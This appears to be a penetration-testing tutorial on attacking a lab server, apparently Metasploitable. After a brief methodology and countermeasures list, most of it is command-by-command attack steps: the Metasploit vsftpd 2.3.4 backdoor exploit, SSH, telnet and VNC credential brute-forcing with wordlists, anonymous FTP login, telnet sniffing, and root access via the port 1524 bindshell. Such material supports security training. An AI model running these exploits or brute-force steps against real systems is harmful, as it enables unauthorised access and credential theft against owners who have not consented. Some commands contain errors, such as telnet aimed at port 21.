

HACKING WEB SERVER

Methodology:

Information Gathering:

Information related to the target server is collected from various sources like

From websites

WHOIS information

Netcraft information

Banner grabbing

Port scanning with Nmap.

Mirroring a website using Htttrack.

Vulnerability Scanning:

There are automated tools for scanning a web server and applications running on it. The results may show various threats and vulnerabilities on the target web server; these vulnerabilities may later be exploited using tools or manually.



E.g. Acunetix, Nikto, Vega etc

Password Attacks:

Guessing/Default passwords

Brute Forcing

Dictionary Attacks

Countermeasures:

Update and patch web servers regularly.

Do not use the default configuration.

Store configuration files securely.

Scan the applications running on the web server for all vulnerabilities.

Use IDS and firewall with updated signatures.

Block all unnecessary protocols and services.

Use secure protocols.



Disable default accounts, follow strict access control policy.

Install Anti-virus, and update it regularly.

All OS and software used should be latest and updated.

1.1 Exploiting FTP Service Running

FTP default port is 21

First Method :

#nmap -sV 192.168.1.2 -p 21 - For Ftp port Scanning

Copy the version of FTP and search this on exploit-db or use command

#searchsploit <Service Version>

#service postgresql start or msfdb start

#msfconsole

#search vsftpd 2.3.4

#use exploit/unix/ftp/vsftpd_234_backdoor

#show options

#set RHOSTS 192.168.1.2

#run

1.2 Download vsftpd 2.3.4 exploit from exploit-db and simply run it using command #python3 49757.py <Ip address>

1.3 Ftp is using default anonymous login.

#ftp <ip address>

Our username will be anonymous after that we will get the direct login to ftp.

2. Exploiting SSH Service

SSH is using 22 Default port number

Step 1 : use auxiliary/scanner/ssh/ssh_login

Use via bruteforce bcoz defalut set most of time

#msfconsole

#use auxiliary/scanner/ssh/ssh_login

#show options

#set RHOSTS 192.168.1.2

#set VERBOSE true

#set STOP_ON_Success true

#set USER_FILE /root/Desktop/user.txt

#set PASS_FILE /root/Desktop/pass.txt

#run

When get success



```
#ssh msfadmin@192.168.10.31 - For taking ssh shell.
```

```
#ssh -l msfadmin 192.168.10.31
```

3.1 Exploiting telnet Service :

First Method Bruteforcing :

```
#use auxiliary/scanner/telnet/telnet_login
```

```
#show options
```

```
#set RHOSTS 192.168.1.2
```

```
#set VERBOSE true
```

```
#set USER_FILE /root/Desktop/user.txt
```

```
#set PASS_FILE /root/Desktop/pass.txt
```

```
#set STOP_ON_Success true
```

```
#run
```

3.2. Second Method :

Telnet Packet is not encrypted over communication, we can capture all packets in internal network.

```
#wireshark
```

Stop sniffing and select the interface first the click to start sniffing then go to terminal and try to login via telnet

```
#telnet 192.168.1.2 21
```

```
= login first
```



In wireshark==>go to analyze==>follow==>TCP Stream

4. Direct Root Access through Ingreslock/Bindshell port

Use command #telnet <ip address> 1524

We will get the root access

5. Vnc Port Exploitation :

In Metasploit #use auxiliary/scanner/vnc/vnc_login

#show options

#set rhosts 192.168.1.10

#set username root

#exploit

We will get the login credential "password" this will be our password for vnc login.

Use command #vncviewer 192.168.1.10

Now we will get the RDP access to metasploitable.

